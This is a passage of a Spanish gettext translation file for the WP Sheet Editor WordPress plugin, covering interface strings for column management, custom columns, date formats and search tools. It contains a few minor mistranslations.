"En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 